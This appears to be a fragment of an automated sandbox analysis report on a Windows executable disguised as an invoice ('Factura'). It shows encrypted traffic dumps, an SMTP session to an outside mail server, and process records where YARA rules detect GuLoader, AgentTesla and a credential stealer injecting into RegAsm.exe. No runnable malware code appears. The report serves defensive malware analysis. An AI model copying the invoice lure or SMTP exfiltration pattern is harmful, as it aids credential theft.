e1 00 05 36 5d 6a 66 07 e6 19 5d cf ac 42 e3 d6 73 21 ce b1 22 6a a0 ee c7 6e 40 4f 72 20 a0 eb 52 55 aa 8f e9 30 8b 64 
38 63 b5 91 7d 84 a1 47 6d 46 b3 f5 21 1e 8f 21 97 d9 f1 27 c1 2f 58 1d 93 14 46 b6 b7 60 b4 0a 2f 92 91 9c 39 2a 4a 7a 
53 7c 46 35 f1 77 e1 f3 fc 0d 95 cd 69 1e 81 41 66 86 47 97 93 10 ff 93 ce 57 0d 3b b2 c6 bc 5a 4b db 28 ed 16 b3 54 55 
7e df 9e 6e 43 30 de 43 14 82 ff 91 67 1c 89 12 84 ed d9 75 4e 96 40 3c 49 09 fc 5b 58 80 04 3d da cf dc 57 20 d9 dc 52 
43 2c fc 8a 11 ef de 40 37 44 a6 84 c6 01 c6 94 
Data Ascii: 8seJ=Hpst+h6@#tBv_p{o.&k6]jf]Bs!"jn@Or RU0d8c}GmF!!'/XF`/9*JzS|F5wiAfGW;ZK(TU~nC0CguN@<I[X=W 
RC,@7D

2021-10-04 18:06:38 UTC 212 IN Data Raw: c7 a7 53 8c 30 18 8b d4 ca 1b 76 e2 2a 6e cf a7 f3 4e 09 f4 d0 08 97 10 43 39 61 b5 fb 74 a4 a9 f7 15 44 8d da 
04 01 42 55 0d f8 4a 7e 99 02 5e d3 5a d9 e6 74 b8 c7 3a 6b 80 1d 14 70 46 c2 16 93 1c 0f 78 5b 09 b0 3f 69 13 c4 18 55 
02 33 39 80 03 c8 ed f0 91 29 0b 6e 90 0c d9 f8 cd 5e c5 13 9f e5 46 16 c3 ea aa 9c 8e 19 e0 63 43 02 0d 7d 6d c1 29 f5 
3a 9d ea 1c 85 99 e4 a5 83 6e 37 d7 64 96 99 80 c7 8e dc 3e bc 81 49 06 1c ac e1 d8 d0 08 37 f3 25 61 84 be 8f 97 f4 9f 
f1 aa c2 9c 8f 49 27 d8 38 c2 2a a1 d3 34 f4 fd 54 37 28 cc 00 9a 5c ec a6 59 7d 98 b9 ae a5 09 48 99 99 4c 7f c6 3e 95 8f 
1b d0 6c 20 6c 61 e4 97 66 dd 38 c3 32 41 c3 00 2c 91 7d e6 51 d7 b6 2c bf 7f 2b da 64 6b a1 c8 1c e4 21 ef 6f 86 2c d6 
ad 22 e3 0b 25 0e 29 ef cc 0c 14 b8 81 77 56 90 bf 
Data Ascii: S0v*nNC9atDBUJ~^Zt:kpFx[?iU39)n^FcC}m):n7d>I7%aI'8*4T7(\Y}HL>l laf82A,}Q,+dk!o,"%)wV

2021-10-04 18:06:38 UTC 214 IN Data Raw: 60 4a 73 2b c6 7a f6 fe bc 5c 46 7f 3f 02 23 e7 b8 6f a6 8f 51 85 3e 8e cd 97 f2 1e 26 7f eb 83 f8 2b fa 68 12 1b 
e0 bc 73 85 7a e6 ff 30 8a 93 ea b7 bb 0a 95 27 be 4d cb 99 57 98 51 02 c0 af d1 82 bb 10 6f 86 c7 b8 27 f1 b3 be 6a 77 
2a d9 5d 5a 17 52 fb 9a 10 59 ff 65 f5 05 b0 9b a7 6c 0f eb 22 38 63 10 5b 2e fc 63 d1 6d 4b a1 fa c6 a6 93 68 7b 6c 81 05 
39 eb d5 8d a5 df ba f3 f0 01 dc 21 02 60 e4 61 b9 a8 fe 00 7a 1d 1a a9 04 0d a2 e9 dd ab e9 ec 0c 82 73 5d 6a 67 12 ed 
0a 49 50 e4 1c e4 ff 68 3d 44 b0 24 64 af f8 dd e8 49 4c 72 2d a0 e3 4b 51 a7 84 ef 25 80 64 37 78 b8 83 6f 9e 2b 6e 72 
5c bd fd 36 82 13 28 91 d9 fa 28 4d 34 4b 05 93 01 5e aa 3d 70 a8 80 26 8f 94 9c 32 10 48 6c 43 60 c9 b1 f5 77 e2 ae f4 
1a 09 51 75 09 12 83 7d 89 c1 88 93 fa ed a1 4f 
Data Ascii: `Js+z\F?#oQ>&+hsz0'MWQo'jw*]ZRYel"8c[.cmKh{l9!`azs]jgIPh=D$dILr-KQ%d7xo+nr\6((M4K^=p&2Hl
C`wQu}O

2021-10-04 18:06:38 UTC 215 IN Data Raw: ce 90 18 01 2e 11 83 c5 23 ba 02 c0 6c 1a fe b6 e7 18 8f c7 50 34 a7 47 6d cc db e6 cd f5 c9 ec 22 72 b9 28 7c 
0e a9 c9 4f 83 d6 72 cc 61 02 50 25 e3 84 17 33 71 97 f5 5c 98 8e 16 ab 3f c8 87 3d a0 e4 7d 13 84 e0 c8 ba 45 90 32 1c 
9d 5e 75 11 65 ef 30 eb 4c bb 6f 7e 09 f7 0d 00 f9 1f 6d 2c 61 b4 cb 7c 8a a2 f1 06 5c 8b dc 17 17 5b d2 9c fb 45 6d 92 1b 
57 d8 41 d4 ec 7a b7 c9 5d 59 89 11 01 61 c6 55 19 8f 8f 48 6f 2a 15 24 b4 e9 84 d8 04 c6 c0 88 25 fb 90 09 42 e3 a0 aa 
a8 ee 27 17 ce 5a c4 4e 49 a0 8c d4 c5 b5 43 25 ac 90 89 1d f3 7f cc 90 02 73 70 d5 88 6d 29 12 6a 11 81 96 ff a3 96 46 
2d c2 7f 8c 10 1f c6 9e 5b 63 ac 9b 81 98 0a b7 e6 4b c8 90 24 60 e4 34 98 31 18 84 66 be bf ad b9 15 0b 4d 20 4b f9 94 
40 a7 c0 34 e9 e5 d5 ad 38 5b db 07 09 6d 65 4b 76 
Data Ascii: .#lP4Gm"r(|OraP%3q\?=}E2^ue0Lo~m,a|\[EmWAz]YaUHo*$%B'ZNIC%spm)jF-[cK$`41fM K@48[meKv

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

Statistics

Behavior

2021-10-04 18:06:38 UTC 216 IN Data Raw: 9a c2 c8 14 c4 c0 7c 6c 92 55 65 a8 65 87 d5 3f eb ae 1e 0c 31 95 93 ec 80 2e 47 16 9f d2 94 47 b2 70 23 5e f7
73 5a 45 4b fc 33 b5 9f d8 5b ee d3 1c 53 0b 58 a4 d1 b4 88 d4 b3 32 60 18 aa fb 4a ca 3a bc 7c 7f 96 7b 50 6a 3d d1 6f fc
fe b7 7c 42 75 2b 18 03 ee b5 78 bc 89 51 9d 03 82 f1 9f ef 18 3c 6b 61 02 f4 3e f7 6e 0b 3e e9 b5 4c 86 64 e2 6e 30 18 
92 fa 27 78 9e 96 25 a6 5d 5a 99 11 96 4c 07 df 24 4d 81 b5 03 e6 97 58 31 33 ff ad aa 67 e6 2a 88 cc b2 14 4f fa 95 8e 
41 f1 fa ec 0a 30 99 a3 73 0c e9 37 30 6d 39 5b 2e 6a f0 54 f4 4b b8 67 9f b4 95 eb e9 71 9b 8c 64 f2 49 27 b1 cd be fd 78 
0e ce 3b 84 27 e4 61 a3 c9 e8 9c ca 95 ba a6 19 1a 2c 43 d7 a5 e0 ea 16 04 1e 54 68 6f 0e e4 09 45 ce a1 18 ec f4 7a 3b 
51 bb 28 79 b2 e6 c9 f1 4b 45 7b 29 ad eb 41 58 
Data Ascii: |lUee?1.GGp#^sZEK3[SX2`J:|{Pj=o|Bu+xQ<ka>n>Ldn0'x%]ZL$MX13g*OA0s70m9[.jTKgqdI'x;'a,CThoE
z;Q(yKE{)AX

2021-10-04 18:06:38 UTC 217 IN Data Raw: b7 e7 e8 a1 32 e7 bb cb 3a ef 89 15 3d ae 77 42 92 29 c4 64 18 da 7e 23 90 85 6e b6 b9 ab d3 19 16 e9 44 fd 
e8 fa d4 b2 a6 11 37 10 3d 95 f3 68 4a b0 f5 35 09 7d 71 88 a4 35 61 e9 ac a1 78 08 d9 42 08 32 eb 9c c2 da 93 19 70 21 
0d 0c 8d 2a b2 05 d4 6a 18 eb bb c7 02 98 d2 40 2e 34 5f 2c cc 32 02 d0 ed 4f 7d 2d 6e 37 ca 73 0a a8 d3 d5 f1 d8 69 d9 
e9 3e 57 3f ef 88 93 17 7d 97 f7 35 83 8b 09 a9 30 4f 92 2a 85 f6 01 06 05 7b d5 b5 c0 61 3b 0a 9d 54 75 1b 64 f1 3e 74 
d1 a8 70 7c 1b 76 35 1c 81 9b 74 2b 53 35 f0 64 2a 4b f7 12 79 81 d6 18 94 bf c5 3c 2f 48 77 97 02 55 d0 5f ce 68 af ab 
d0 5b 71 ae 19 1e 79 56 4f c9 97 2e 0b 7c 5c 9b e4 b7 eb c4 db 13 47 82 8c 21 e3 16 4e 4f f4 b3 3a 98 d9 20 22 de da df 
cc ab be 84 c0 5c 03 46 3e b0 18 17 19 ef ed a1 0f 04 75 
Data Ascii: 2:=wB)d~#nD7=hJ5}q5axB2p!*j@.4_,2O}-n7si>W?}50O*{a;Tud>tp|v5t+S5d*Ky</HwU_h[qyVO.|\G!NO: "\F>u

2021-10-04 18:06:38 UTC 219 IN Data Raw: 8a 73 a6 90 9f 0c 3e 8f e3 de 6b 59 4d 2e 81 4f b8 80 bd 14 5d 9f 96 6c 46 a3 4b dd c3 45 e4 1f 19 1c 01 1d 54 
3a 98 43 44 79 97 69 77 a7 11 05 9e f6 3f b0 c2 29 9d ca 95 67 83 f9 33 67 a7 3a 4e 38 34 78 c1 ad 29 90 c7 30 1e d4 c1 
7a 72 9d 45 7b ac 7b 77 d3 1f eb b5 1c 06 39 92 e5 ea f5 3f a6 ba af d4 b8 56 00 d8 33 5e fd 66 57 50 46 e4 0f bc 9f cd 4a 
f4 c5 03 5b 0b 58 a4 d1 ad 88 d8 bb 3b 60 24 ad d1 43 df 3b 9e 6d 7a 94 60 4a 6a 2b c6 7a e8 eb ae 41 5c 63 26 18 12 ef 
b7 f7 ba 84 4c 97 19 0c ec 93 f4 12 26 7f f0 ea f6 16 fc 7b 0a 03 ed a9 42 9f 67 f9 ea b7 0e 97 e5 33 f5 17 8f ae 2d 4c da 
1d 19 87 c9 09 dc 23 c5 8c b2 04 e0 94 5a 2d 3f f7 b2 a7 7e 6d ac 9a 52 36 02 4a ea ee 04 43 e0 65 ec 0a 36 91 af 66 1a 
6a 86 33 7f ba 4d 37 f0 76 5c e9 4f ae 7e 9b b6 
Data Ascii: s>kYM.O]lFKET:CDyiw?)g3g:N84x)0zrE{{w9?V3^fWPFJ[X;`$C;mz`Jj+zA\c&L&{Bg3-L#Z-?~mR6JCe6fj3
M7v\O~

2021-10-04 18:06:38 UTC 220 IN Data Raw: 5b 63 da 83 6b 4a 37 db 5e 11 88 e2 94 6f 14 85 12 81 ec cb f7 4b 9c 52 be 4c 03 f6 5d 58 82 0e 20 df c7 da 
57 21 c4 d9 4f 46 30 fb 9a 0d f3 cc c0 a3 58 ba 98 d7 80 ef 89 5a d3 01 0d ea 63 29 44 35 11 1c 4d ff 17 5b f5 50 50 39 47 
bf d9 ba 03 98 95 d5 a0 79 4c 94 2e c6 76 99 36 77 33 b0 80 2c 36 55 3a 53 f1 18 fb c4 28 f9 7b ed bc ae 16 35 02 bc 79 
e0 e8 a6 a2 9a 39 14 f3 7f 80 aa 28 6f e7 a2 a2 70 15 d7 4a 15 3c e3 bc c6 db 82 99 18 2f 03 02 85 2d b4 0c dd 62 12 e3 
b3 ef 05 8a da 55 3d b5 c6 2d de b2 7e c5 ff ce 44 ac 7f b7 92 76 00 a1 c1 54 84 da 6e de e3 37 06 bb e5 99 f8 2f 74 85 77
d9 85 8b 0b ae 2d 4a 2e 22 91 f6 14 14 d2 e2 87 a7 1f 8d 61 0d df 56 29 19 2b ec 6b 69 82 b5 3c 7b 44 74 7d 12 de 1a 0b 
2c 3c 37 f2 76 aa a7 44 1f b6 7d d4 0a 15 53 d7 bc 
Data Ascii: [ckJ7^oKRL]X W!OF0XZc)D5M[PP9GyL.v6w3,6U:S({5y9(opJ</-bU=-~DvTn7/tw-J."aV)+ki<{Dt},<7vD}S

2021-10-04 18:06:38 UTC 221 IN Data Raw: b8 f6 03 42 11 08 aa b8 37 d0 55 e3 7b 61 8d 20 7f ad 40 93 3c a8 de 4c d1 0e 52 ac b6 ac d5 bb 67 e1 56 09 
ab f2 32 d9 a6 0c d2 a9 d4 39 06 9f b4 6a 7c cf f5 06 3e 2c 6b 07 e8 ed 66 7d ef 50 b3 7f b1 62 a1 10 f2 b3 5e ae be 31 f0 
43 e0 81 93 0b 27 b5 8d 84 4d b0 95 ac 95 f8 9e 84 ed 4e a6 63 dd d2 c4 e0 15 31 1c 14 0f d5 a3 99 51 c5 71 93 6f 65 25 
2c 0e be f2 3e a2 40 14 80 cf 88 62 8b f3 34 61 af 27 4b 25 31 70 c9 a5 2a 9a c6 38 14 c4 c0 78 6c 9d 55 65 ac 65 77 d5 
3f e9 a8 19 0e 37 9e 96 ea 9d 3f c7 ba 9a d4 89 56 32 d8 25 59 f3 7b 52 4d 43 f8 13 b4 97 d0 56 e9 d9 1e 59 03 50 b8 cc 
b1 80 dc bb 3a 65 38 a8 f1 42 c2 3e 9c 7d 7d 9c 7c 57 6f 36 da 67 f4 f6 b2 5c 40 7e 23 10 16 e9 a5 73 bb 81 4c 97 0b 88 
ed 95 f3 10 3b 7a e2 83 fc 36 ff 66 0f 1e e8 b4 47 82 
Data Ascii: B7U{a @<LRgV29j|>,kf}Pb^1C'MNc1Qqoe%,>@b4a'K%1p*8xlUeew?7?V2%Y{RMCVYP:e8B>}}|Wo6g\@~#sL;
z6fG

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Oct 4, 2021 20:08:15.946011066 CEST 587 49776 91.197.229.125 192.168.11.20 220-othello.ldn.kgix.net ESMTP Exim 4.94.2 #2 Mon, 04 Oct 2021 18:08:15 
+0000 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Oct 4, 2021 20:08:15.946499109 CEST 49776 587 192.168.11.20 91.197.229.125 EHLO 688098

Oct 4, 2021 20:08:15.966278076 CEST 587 49776 91.197.229.125 192.168.11.20 250-othello.ldn.kgix.net Hello 688098 [84.17.52.7]
250-SIZE 37748736
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP

Oct 4, 2021 20:08:15.966577053 CEST 49776 587 192.168.11.20 91.197.229.125 STARTTLS

Oct 4, 2021 20:08:15.989742994 CEST 587 49776 91.197.229.125 192.168.11.20 220 TLS go ahead

SMTP Packets
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Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 20:06:19

Start date: 04/10/2021

Path: C:\Users\user\Desktop\Factura n#U00ba749962.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe' 

Imagebase: 0x400000

File size: 102400 bytes

MD5 hash: 567D679DF1C52FF01662DB29CBDA21C3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000000.00000002.765236116.0000000002240000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 20:06:27

Start date: 04/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): false

Commandline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe' 

Imagebase: 0x540000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 20:06:27

Start date: 04/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): false

Commandline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe' 

Imagebase: 0x3e0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Analysis Process: Factura n#U00ba749962.exe PID: 8796 Parent PID: 7464Analysis Process: Factura n#U00ba749962.exe PID: 8796 Parent PID: 7464

General

Analysis Process: RegAsm.exe PID: 6476 Parent PID: 8796Analysis Process: RegAsm.exe PID: 6476 Parent PID: 8796

General

Analysis Process: RegAsm.exe PID: 7144 Parent PID: 8796Analysis Process: RegAsm.exe PID: 7144 Parent PID: 8796

General
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Disassembly

Code Analysis

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File ActivitiesFile Activities

Start time: 20:06:27

Start date: 04/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe' 

Imagebase: 0xdb0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000014.00000002.5621098811.000000001E291000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000014.00000002.5621098811.000000001E291000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:06:28

Start date: 04/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff77b8d0000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Analysis Process: RegAsm.exe PID: 8600 Parent PID: 8796Analysis Process: RegAsm.exe PID: 8600 Parent PID: 8796

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 7384 Parent PID: 8600Analysis Process: conhost.exe PID: 7384 Parent PID: 8600

General
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